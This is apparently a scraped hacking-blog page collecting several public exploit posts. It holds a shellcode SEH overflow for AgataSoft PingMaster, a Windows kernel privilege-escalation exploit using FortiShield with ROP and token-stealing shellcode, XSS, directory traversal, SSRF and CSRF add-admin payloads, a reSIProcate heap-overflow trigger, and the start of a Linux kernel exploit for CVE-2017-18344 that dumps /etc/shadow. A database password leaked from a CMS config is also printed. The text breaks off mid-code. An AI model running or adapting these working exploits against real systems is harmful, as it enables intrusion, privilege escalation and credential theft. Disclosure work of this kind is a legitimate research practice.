# Exploit Title: AgataSoft Auto PingMaster 1.5 - Buffer Overflow (SEH)
# Date: 2018-08-03
# Exploit Author: bzyo
# Twitter: @bzyo_
# Vulnerable Software: AgataSoft Auto PingMaster 1.5
# Vendor Homepage: http://agatasoft.com/
# Version: 1.5
# Software Link : http://agatasoft.com/Ping_Master.exe
# Tested Windows 7 SP1 x86
# PoC
# 1. generate ping.txt, copy contents to clipboard
# 2. open application
# 3. select Trace Route
# 4. paste contents from clipBoard to "Host name:" field
# 5. select "Get IP from host name"
# 6. pop calc
#!/usr/bin/python
# greetz Luis Martínez for find in ebd-id 45137
import struct
junk1 = "A"*100
#msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e x86/alpha_mixed -f c
#Payload size: 448 bytes
calc = ("\x89\xe1\xd9\xf7\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x5a\x48\x4c\x42\x77\x70\x53\x30\x45\x50\x35\x30\x6b"
"\x39\x58\x65\x70\x31\x39\x50\x30\x64\x4c\x4b\x50\x50\x64\x70"
"\x6e\x6b\x71\x42\x34\x4c\x4e\x6b\x71\x42\x37\x64\x6e\x6b\x62"
"\x52\x56\x48\x36\x6f\x4c\x77\x61\x5a\x64\x66\x56\x51\x49\x6f"
"\x6e\x4c\x45\x6c\x75\x31\x71\x6c\x53\x32\x66\x4c\x55\x70\x69"
"\x51\x38\x4f\x44\x4d\x47\x71\x6a\x67\x78\x62\x6a\x52\x31\x42"
"\x76\x37\x4e\x6b\x70\x52\x44\x50\x6e\x6b\x61\x5a\x47\x4c\x6c"
"\x4b\x30\x4c\x34\x51\x71\x68\x4b\x53\x63\x78\x77\x71\x4b\x61"
"\x63\x61\x4e\x6b\x63\x69\x35\x70\x56\x61\x4e\x33\x6e\x6b\x57"
"\x39\x65\x48\x68\x63\x44\x7a\x37\x39\x6c\x4b\x46\x54\x6c\x4b"
"\x47\x71\x7a\x76\x35\x61\x49\x6f\x4c\x6c\x7a\x61\x6a\x6f\x64"
"\x4d\x55\x51\x4b\x77\x57\x48\x6b\x50\x74\x35\x69\x66\x65\x53"
"\x31\x6d\x4a\x58\x77\x4b\x61\x6d\x51\x34\x61\x65\x6a\x44\x61"
"\x48\x4e\x6b\x62\x78\x45\x74\x47\x71\x79\x43\x71\x76\x4c\x4b"
"\x64\x4c\x72\x6b\x6c\x4b\x73\x68\x35\x4c\x43\x31\x6a\x73\x6e"
"\x6b\x37\x74\x6e\x6b\x37\x71\x4e\x30\x4f\x79\x52\x64\x35\x74"
"\x55\x74\x71\x4b\x51\x4b\x51\x71\x70\x59\x72\x7a\x53\x61\x6b"
"\x4f\x59\x70\x73\x6f\x63\x6f\x72\x7a\x4c\x4b\x56\x72\x48\x6b"
"\x6e\x6d\x31\x4d\x50\x6a\x55\x51\x6e\x6d\x4b\x35\x4f\x42\x73"
"\x30\x65\x50\x55\x50\x42\x70\x72\x48\x70\x31\x4e\x6b\x42\x4f"
"\x6c\x47\x6b\x4f\x4a\x75\x4d\x6b\x5a\x50\x48\x35\x6e\x42\x31"
"\x46\x62\x48\x39\x36\x5a\x35\x6f\x4d\x6d\x4d\x4b\x4f\x79\x45"
"\x45\x6c\x63\x36\x73\x4c\x45\x5a\x6b\x30\x59\x6b\x79\x70\x50"
"\x75\x55\x55\x6d\x6b\x43\x77\x42\x33\x61\x62\x62\x4f\x33\x5a"
"\x33\x30\x56\x33\x49\x6f\x49\x45\x43\x53\x53\x51\x72\x4c\x53"
"\x53\x44\x6e\x65\x35\x64\x38\x43\x55\x67\x70\x41\x41")
junk3 = "\xcc"*92
jmp3 = "\xe9\x7d\xfd\xff\xff\xcc"
junk2 = "\xcc"*20
jmp1 = "\xeb\xf8\xcc\xcc"
jmp2 = "\xeb\xe4\xcc\xcc\xcc\xcc"
seh = struct.pack('<L',0x00462360)
buffer = junk1 + calc + junk3 + jmp3 + junk2 + jmp2 + jmp1 + seh
with open("ping.txt","wb") as f:
f.write(buffer[:-1])
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863576326
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: [Subrion CMS- 4.2.1 XSS (Using component with known
Vulnerability)]
# Date: [02-08-2018]
# Exploit Author: [Zeel Chavda]
# Vendor Homepage: [https://subrion.org/]
# Software Link: [https://subrion.org/download/]
# Version: [4.2.1] (REQUIRED)
# Tested on: [Windows,FireFox]
# CVE : [CVE-2018-14840]
Steps: -
1. Create a file with XSS payload.
2. Save it with .html extension.
3. Upload via CKEditor manager and execute "file.html".
Reference: -
https://github.com/intelliants/subrion/commit/cb10ac2294cb2c3a6d2159f9a2bb8c58a2a10a47
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
#include <Shlobj.h>
#pragma comment (lib,"psapi")
PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver)
{
memset((LPVOID)0x000000001a000000, 0x11, 0x1000);
memset((LPVOID)0x000000001a001000, 0x22, 0x1000);
leak_buffer[0] = 0x000000001a000008;
leak_buffer[1] = 0x0000000000000003;
leak_buffer[4] = 0x000000001a000028;
leak_buffer[6] = addr - 0x70;
DWORD IoControlCode = 0x22608C;
LPVOID InputBuffer = (LPVOID)0x000000001a000000;
DWORD InputBufferLength = 0x20;
LPVOID OutputBuffer = (LPVOID)0x000000001a001000;
DWORD OutputBufferLength = 0x110;
DWORD lpBytesReturned;
BOOL triggerIOCTL;
triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
if (!triggerIOCTL)
{
printf("[!] Error in the SYSCALL: %d\n", GetLastError());
}
ULONGLONG result = leak_buffer[0x202];
return result;
}
ULONGLONG leakNtBase(HANDLE driver)
{
ULONGLONG teb = (ULONGLONG)NtCurrentTeb();
ULONGLONG thread = *(PULONGLONG)(teb + 0x78);
ULONGLONG threadInfo = leakQWORD(thread, driver);
ULONGLONG ntAddr = leakQWORD(threadInfo + 0x2a8, driver);
ULONGLONG baseAddr = 0;
ULONGLONG signature = 0x00905a4d;
ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000;
while (TRUE)
{
ULONGLONG readData = leakQWORD(searchAddr, driver);
ULONGLONG tmp = readData & 0xFFFFFFFF;
/*
printf("%llx\n", readData);
printf("%llx\n", tmp);
*/
if (tmp == signature)
{
baseAddr = searchAddr;
break;
}
searchAddr = searchAddr - 0x1000;
}
return baseAddr;
}
ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase)
{
ULONGLONG PsLoadModuleListAddr = ntBase + 0x34c5a0;
ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver);
ULONGLONG addr = 0;
while (1)
{
ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver);
ULONGLONG name = leakQWORD(namePointer, driver);
if (name == 0x00740072006f0046)
{
name = leakQWORD(namePointer + 8, driver);
if (name == 0x0069006800530069)
{
addr = leakQWORD(searchAddr + 0x30, driver);
break;
}
}
searchAddr = leakQWORD(searchAddr, driver);
}
return addr;
}
ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result)
{
PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000f5ffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (fake_stack == NULL)
{
printf("[!] Error while allocating the fake stack: %d\n", GetLastError());
return 1;
}
memset(fake_stack, 0x41, 0x12000);
PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000;
DWORD index = 0;
// <NULL Callback>
ropStack[index] = ntBase + 0x1684ef; index++; // pop rax ; pop rcx ; ret
ropStack[index] = fortishield_callback; index++; // FortiShield Callback
ropStack[index] = 0x0000000000000000; index++; // NULL
ropStack[index] = ntBase + 0x937eb; index++; // mov qword [rax], rcx ; ret
// </NULL Callback>
// <Flip U=S bit>
ropStack[index] = ntBase + 0x88614; index++; // pop rax ; ret
ropStack[index] = pte_result; index++; // PTE VA
ropStack[index] = ntBase + 0x1a3cb2; index++; // pop rdx ; ret
ropStack[index] = 0x0000000000000063; index++; // DIRTY + ACCESSED + R/W + PRESENT
ropStack[index] = ntBase + 0xe8a8b; index++; // mov byte [rax], dl ; add eax, 0x01740000 ; ret
ropStack[index] = ntBase + 0x11e000; index++; // wbinvd ; ret
// </Flip U=S bit>
// <Restore variables & shellcode>
ropStack[index] = 0x00000000f6000100; index++; // Shellcode address
ropStack[index] = fortishield_restore; index++; // FortiShield return location
// </Restore variables & shellcode>
char token_steal[] =
"\x48\x31\xc0\x65\x48\x8b\x80"
"\x88\x01\x00\x00\x48\x8b\x80"
"\xb8\x00\x00\x00\x49\x89\xc0"
"\x48\x8b\x80\xe8\x02\x00\x00"
"\x48\x2d\xe8\x02\x00\x00\x48"
"\x8b\x88\xe0\x02\x00\x00\x48"
"\x83\xf9\x04\x75\xe6\x4c\x8b"
"\x88\x58\x03\x00\x00\x4d\x89"
"\x88\x58\x03\x00\x00\x3E\x48"
"\x8B\x04\x24\x48\x89\xF4\x48"
"\x83\xEC\x20\xFF\xE0";
memcpy((fake_stack + 0x2020), token_steal, sizeof(token_steal));
return 0;
}
ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start)
{
ULONGLONG result = address >> 9;
result = result | pte_start;
result = result & (pte_start + 0x0000007ffffffff8);
return result;
}
int trigger_callback()
{
printf("[+] Creating dummy file\n");
system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main()
{
LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo
HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (mdare == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPDWORD hThread_id = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
ULONGLONG ntBase = leakNtBase(mdare);
ULONGLONG ntPivot = ntBase + 0x1ab3ec; // mov esp, 0xf6000000; retn;
ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x62aeb, mdare);
ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase);
ULONGLONG fortishield_callback = fortishieldBase + 0xd150;
ULONGLONG fortishield_restore = fortishieldBase + 0x2f73;
printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase);
printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset);
printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase);
ULONGLONG pte_result = get_pxe_address_64(0xf6000000, ntMiGetPteAddressOffset);
printf("[+] PTE virtual address for 0xf6000000: %I64x\n", pte_result);
allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, pte_result);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = ntPivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
//DebugBreak();
BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
system("start cmd.exe");
return 0;
}
# Exploit Title: LAMS < 3.1 - Cross-Site Scripting
# Date: 2018-08-05
# Exploit Author: Nikola Kojic
# Website: https://ras-it.rs/
# Vendor Homepage: https://www.lamsfoundation.org/
# Software Link: https://www.lamsfoundation.org/downloads_home.htm
# Category: Web Application
# Platform: Java
# Version: <= 3.1
# CVE: 2018-12090
# Vendor Description:
# LAMS is a revolutionary new tool for designing, managing and delivering online collaborative
# learning activities. It provides teachers with a highly intuitive visual authoring
# environment for creating sequences of learning activities.
# Technical Details and Exploitation:
# There is unauthenticated reflected cross-site scripting (XSS) in LAMS before 3.1 that allows
# a remote attacker to introduce arbitrary JavaScript via manipulation of an unsanitized GET
# parameter during a forgotPasswordChange.jsp?key= password change.
# Proof of Concept:
http://localhost:8080/lams/forgotPasswordChange.jsp?key=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
# Timeline:
# 2018-06-07: Discovered
# 2018-06-08: Vendor notified
# 2018-06-08: Vendor replies
# 2018-06-11: CVE number requested
# 2018-06-11: CVE number assigned
# 2018-06-15: Patch released
# 2018-08-05: Public disclosure
# Exploit Title: Sitecore.Net 8.1 - Directory Traversal
# Date: 2018-04-23
# CVE: CVE-2018-7669
# Researcher: Chris Moberly at The Missing Link Security
# Vendor: Sitecore
# Version: CMS - 8.1 and up (earlier versions untested)
# Authentication required: Yes
# An issue was discovered in Sitecore CMS that affects at least
# 'Sitecore.NET 8.1' rev. 151207 Hotfix 141178-1 and above. The 'Log Viewer'
# application is vulnerable to a directory traversal attack, allowing an attacker
# to access arbitrary files from the host Operating System using a
# 'sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=' URI. Validation
# is performed to ensure that the text passed to the 'file' parameter correlates
# to the correct log file directory. This filter can be bypassed by including a
# valid log filename and then appending a traditional 'dot dot' style attack.
# [Steps to Reproduce]
# The 'Log Viewer' application renders log files from the local filesystem inside
# the web browser using a URL like the following:
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=
# The following URL can be used to validate the vulnerability by accessing the
# win.ini file on a Windows host (remove line breaks):
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=c%3a%5cwebsites%5c<website>%5cdata%5clogs%5<valid log file>.txt\..\..\..\..\..\windows\win.ini
# The following URL can be used to access the application's configuration file
# containing SQL login credentials (remove line breaks):
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=c%3a%5cwebsites%5c<website>%5cdata%5clogs%5c<valid log file>.txt\..\..\..\Website\App_Config\ConnectionStrings.config
# Both of the above URLs are dependent on the application's configuration and
# must be modified to correct the <website> and <valid log file> portion.
'''
CVE ID: CVE-2018-12584
TIMELINE
Bug report with test code sent to main reSIProcate developers: 2018-06-15
Patch created by Scott Godin: 2018-06-18
CVE ID assigned: 2018-06-19
Patch committed to reSIProcate repository: 2018-06-21
Advisory first published on website: 2018-06-22
Advisory sent to Bugtraq mailing list: 2018-08-08
DESCRIPTION
A heap overflow can be triggered in the reSIProcate SIP stack when TLS is
enabled.
Abuse of this vulnerability may cause a denial of service of software using
reSIProcate and may also lead to remote code execution.
No SIP user authentication is required to trigger the vulnerability on the
client or server side.
TECHNICAL DETAILS
The file resiprocate/resip/stack/ConnectionBase.cxx contained the following
code fragment:
bool
ConnectionBase::preparseNewBytes(int bytesRead)
{
/* ... */
else if (mBufferPos == mBufferSize)
{
// .bwc. We've filled our buffer; go ahead and make more room.
size_t newSize = resipMin(mBufferSize*3/2, contentLength);
char* newBuffer = 0;
try
{
newBuffer=new char[newSize];
}
catch(std::bad_alloc&)
{
ErrLog(>>"Failed to alloc a buffer while receiving body!");
return false;
}
memcpy(newBuffer, mBuffer, mBufferSize);
mBufferSize=newSize;
delete [] mBuffer;
mBuffer = newBuffer;
}
/* ... */
}
Execution of the code above could be triggered by sending a partial SIP
message over TLS with a Content-Length header field, followed by sending a
packet over TLS with its associated SIP message body. By setting the
Content-Length field to a value that is lower than the length of the SIP
message body which followed, a malicious user could trigger a heap buffer
overflow.
The bug did not appear to be reproducible using TCP instead of TLS even when
the TCP packets were sent with delays between them.
TEST CODE
The following Python script can be used to test the vulnerability of both
server and client software based on reSIProcate.
'''
#!/usr/bin/python3
# reSIProcate through 1.10.2 SIP over TLS heap overflow bug test code
# Written by Joachim De Zutter (2018)
from socket import *
from ssl import * # pip install pyopenssl
daemon_mode = False
# server to test (in case daemon_mode = False)
server = ""
port = 5061
# server configuration (in case daemon_mode = True)
server_ip = "xxx.xxx.xxx.xxx"
keyfile = "keyfile.pem"
certfile = "certfile.pem"
username = "test"
via = "192.168.13.37:31337"
callid = "LtCwMvc2C5tca58a5Ridwg.."
cseq = 1
def trigger_server_heap_overflow(connection):
global username, server, via, cseq
print("Triggering heap overflow!")
buffer_length = 100
register_packet = "REGISTER sip:" + server + " SIP/2.0\x0d\x0aVia:
SIP/2.0/TCP " + via + "\x0d\x0aContact: <sip:" + username + "@" + via
+ ">\x0d\x0aTo: <sip:" + username + "@" + server +
";transport=TCP>\x0d\x0aFrom: <sip:" + username + "@" + server +
">\x0d\x0aCSeq: " + "%d" % cseq + " REGISTER\x0d\x0aExpires:
600\x0d\x0aContent-Length: %ld" % buffer_length + "\x0d\x0a\x0d\x0a"
oversized_packet = buffer_length * "A" + 64 * "B"
connection.send(register_packet.encode())
cseq = cseq + 1
connection.send(oversized_packet.encode())
def trigger_client_heap_overflow(connection):
global username, via, callid, cseq
print("Triggering heap overflow!")
buffer_length = 100
content_length_packet = "SIP/2.0 200 OK\x0d\x0aVia: SIP/2.0/TLS
10.0.2.15:32703;branch=z9hG4bK-524287-1---c04a0ad2231e66ab;rport\x0d\x0aFrom:
<sip:" + username + "@" + via +
";transport=TLS>;tag=00649d4d\x0d\x0aTo: <sip:" + username + "@" + via
+ ";transport=TLS>\x0d\x0aCall-ID: " + callid + "\x0d\x0aCSeq: 2
PUBLISH\x0d\x0aExpires: 600\x0d\x0aContent-Length: %ld" %
buffer_length + "\x0d\x0aSIP-ETag:
af6079e42f65e7e2340e92565570e295\x0d\x0a\x0d\x0a"
oversized_packet = buffer_length * "A" + 64 * "B"
connection.send(content_length_packet.encode())
cseq = cseq + 1
connection.send(oversized_packet.encode())
connection.shutdown(SHUT_RDWR)
connection.close()
def test_clients():
global server_ip, keyfile, certfile
server_socket=socket(AF_INET, SOCK_STREAM)
server_socket.bind((server_ip, 5061))
server_socket.listen(1)
tls_server = wrap_socket(server_socket,
ssl_version=PROTOCOL_TLSv1, cert_reqs=CERT_NONE, server_side=True,
keyfile=keyfile, certfile=certfile)
print("Server running!")
done = False
while not done:
connection, client_address= tls_server.accept()
print("Connection from " + client_address[0] + ":%d" %
client_address[1])
data_in = connection.recv(1024)
if not data_in:
done = True
break
message = data_in.decode()
if "SUBSCRIBE" in message:
print("Client sent SUBSCRIBE request")
trigger_client_heap_overflow(connection)
def test_server():
global server, port
context = create_default_context()
context.check_hostname = False
context.verify_mode = CERT_NONE
tls_client = context.wrap_socket(socket(AF_INET), server_hostname=server)
tls_client.connect((server, port))
print("Connected!")
trigger_server_heap_overflow(tls_client)
tls_client.shutdown(SHUT_RDWR)
tls_client.close()
def main():
global daemon_mode
if daemon_mode:
test_clients()
else:
test_server()
if __name__ == "__main__":
main()
'''
EXPLOITABILITY
At http://joachimdezutter.webredirect.org/CVE-2018-12584-exploitability.html
the exploitability of an affected version of repro on Windows XP Professional
with Service Pack 3 was examined, it was separated from this text because AVG
Web Shield considered the text to be a threat. Arbitrary code execution has
proven to be possible and may be possible on other operating systems and
software based on affected versions of reSIProcate as well.
SOLUTION
A patch was created by Scott Godin, it was committed to the reSIProcate
repository at
https://github.com/resiprocate/resiprocate/commit/2cb291191c93c7c4e371e22cb89805a5b31d6608
The following software based on reSIProcate contains a fix for the issue:
3CX Phone System 15.5.13470.6 and higher
For Debian 8 "Jessie", CVE-2018-12584 and CVE-2017-11521 have been fixed in
resiprocate package version 1:1.9.7-5+deb8u1
(https://lists.debian.org/debian-lts-announce/2018/07/msg00031.html)
DISCLAIMER
The information in this report is believed to be accurate at the time of
publishing based on currently available information.
Use of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the author
nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this
information.
'''
# Exploit Title: Wavemaker Studio 6.6 - Server-Side Request Forgery (SSRF).
# Exploit Author: Gionathan "John" Reale
# Google Dork: N/A
# Date: 2018-08-01
# Vendor Homepage: http://www.wavemaker.com/
# Software Link: https://github.com/cloudjee/wavemaker/blob/master/wavemaker/wavemaker-studio/
# Affected Version: 6.6
# Tested on: Parrot OS
# CVE : 2019-8982
# Description
# Wavemaker Studio 6.6 contains an exploitable unvaildated parameter allowing an
# attacker to pass dangerous content to a victim via a phishing link. The vulnerability
# can also be exploited to access sensitive data or to use the server hosting Wavemaker
# as a form of HTTP proxy among other things.
# Proof Of Concept
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=http://attackersite.com/
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=file///etc/shadow
# Vulnerable Code
# /wavemaker-studio/services/studioService/src/com/wavemaker/studio/StudioService.java
# Line 419-430
@ExposeToClient
public String getContent(String inUrl) throws IOException {
try {
String str = getRemoteContent(inUrl);
str = str.replace("<head>", "<head><base href='" + inUrl
+ "' /><base target='_blank' /><script>top.studio.startPageIFrameLoaded();</script>");
return str;
} catch (Exception e) {
return "";
}
}
# Exploit Title: CMS ISWEB 3.5.3 - Directory Traversal
# Date: 2018-08-01
# Exploit Author: Thiago "thxsena" Sena
# Vendor Homepage: http://www.isweb.it
# Version: 3.5.3
# Tested on: Linux
# CVE : N/A
# PoC:
# CMS ISWEB 3.5.3 is vulnerable to directory traversal and local file download,
# as demonstrated by
moduli/downloadFile.php?file=oggetto_documenti/../.././inc/config.php
# Download and open it.
$dati_db = array(
'tipo' => 'mysql',
'host' => 'localhost',
'user' => 'networkis',
'password' => 'guybrush77',
'database' => 'networkis',
'database_offline' => '',
'persistenza' => FALSE,
'prefisso' => '',
'like' => 'LIKE'
);
# Exploit Title: Cross-Site Request Forgery (Add Admin)
# Google Dork: Powered by onArcade v2.4.2
# Date: 2018/August/4
# Author: r3m0t3nu11[Zero-way]
# Software Link: ["http://www.onarcade.com"]
# Version: ["Uptodate"]
the appilication is vulnerable to CSRF attack (No CSRF token in place) meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering).
[P0C]#
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://server/path/admin/members.php?a=add_member&ajax=1"method="POST">
<input type="hidden" name="username" value="r3m0t3nu11" />
<input type="hidden" name="email" value="l0v3rs14@gmail.com"/>
<input type="hidden" name="password" value="123123" />
<input type="hidden" name="user_group" value="2" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
// A proof-of-concept exploit for CVE-2017-18344.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// No support for 1 GB pages or 5 level page tables.
// Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic
// and on CentOS 7 3.10.0-862.9.1.el7.x86_64.
//
// gcc pwn.c -o pwn
//
// $ ./pwn search 'root:!:'
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error: ffffffffad6017b0
// [.] kernel text: ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap: ffff8d40c0000000
// [.] task->mm->pgd: ffffffffade0a000
// [.] searching [0000000000000000, 00000000f524d000) for 'root:!:':
// [.] now at 0000000000000000
// [.] now at 0000000002000000
// [.] now at 0000000004000000
// ...
// [.] now at 000000008c000000
// [.] now at 000000008e000000
// [.] now at 0000000090000000
// [+] found at 0000000090ff3000
// [+] done
//
// $ ./pwn phys 0000000090ff3000 1000 shadow
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error: ffffffffad6017b0
// [.] kernel text: ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap: ffff8d40c0000000
// [.] task->mm->pgd: ffffffffade0a000
// [.] dumping physical memory [0000000090ff3000, 0000000090ff4000):
// [+] done
//
// $ cat shadow
// root:!:17612:0:99999:7:::
// daemon:*:17590:0:99999:7:::
// bin:*:17590:0:99999:7:::
// ...
// saned:*:17590:0:99999:7:::
// usbmux:*:17590:0:99999:7:::
// user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7:::
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/syscall.h>
#include <sys/types.h>
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define DEBUG 0
// CentOS 7 3.10.0-862.9.1.el7.x86_64
#define KERNEL_START 0xffffffff81000000ul
#define O_DIVIDE_ERROR (0xffffffff81723a40ul - KERNEL_START)
#define O_INIT_TASK (0xffffffff81c16480ul - KERNEL_START)
#define O_INIT_MM (0xffffffff81c914a0ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE (0xffffffff81c41440ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS 1072
#define O_TASK_STRUCT_MM 1128
#define O_TASK_STRUCT_PID 1188
#define O_MM_STRUCT_MMAP 0
#define O_MM_STRUCT_PGD 88
#define O_VM_AREA_STRUCT_VM_START 0
#define O_VM_AREA_STRUCT_VM_END 8
#define O_VM_AREA_STRUCT_VM_NEXT 16
#define O_VM_AREA_STRUCT_VM_FLAGS 80
#if 0
// Ubuntu xenial 4.4.0-116-generic
#define KERNEL_START 0xffffffff81000000ul
#define O_DIVIDE_ERROR (0xffffffff81851240ul - KERNEL_START)
#define O_INIT_TASK (0xffffffff81e13500ul - KERNEL_START)
#define O_INIT_MM (0xffffffff81e73c80ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE 0
#define O_TASK_STRUCT_TASKS 848
#define O_TASK_STRUCT_MM 928
#define O_TASK_STRUCT_PID 1096
#define O_MM_STRUCT_MMAP 0
#define O_MM_STRUCT_PGD 64
#define O_VM_AREA_STRUCT_VM_START 0
#define O_VM_AREA_STRUCT_VM_END 8
#define O_VM_AREA_STRUCT_VM_NEXT 16
#define O_VM_AREA_STRUCT_VM_FLAGS 80
#endif
#if 0
// Ubuntu xenial 4.13.0-38-generic
#define KERNEL_START 0xffffffff81000000ul
#define O_DIVIDE_ERROR (0xffffffff81a017b0ul - KERNEL_START)
#define O_INIT_TASK (0xffffffff82212480ul - KERNEL_START)
#define O_INIT_MM (0xffffffff82302760ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE (0xffffffff82248a90ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS 2048
#define O_TASK_STRUCT_MM 2128
#define O_TASK_STRUCT_PID 2304
#define O_MM_STRUCT_MMAP 0
#define O_MM_STRUCT_PGD 80
#define O_VM_AREA_STRUCT_VM_START 0
#define O_VM_AREA_STRUCT_VM_END 8
#define O_VM_AREA_STRUCT_VM_NEXT 16
#define O_VM_AREA_STRUCT_VM_FLAGS 80
#endif
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#ifndef SYS_memfd_create
#define SYS_memfd_create 319
#endif
#ifndef O_PATH
#define O_PATH 010000000
#endif
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define PAGE_SHIFT 12
#define PAGE_SIZE (1ul << PAGE_SHIFT)
#define PAGE_MASK (~(PAGE_SIZE - 1))
#define HUGE_PAGE_SHIFT 21
#define HUGE_PAGE_SIZE (1ul << HUGE_PAGE_SHIFT)
#define HUGE_PAGE_MASK (~(HUGE_PAGE_SIZE - 1))
#define TASK_SIZE (1ul << 47)
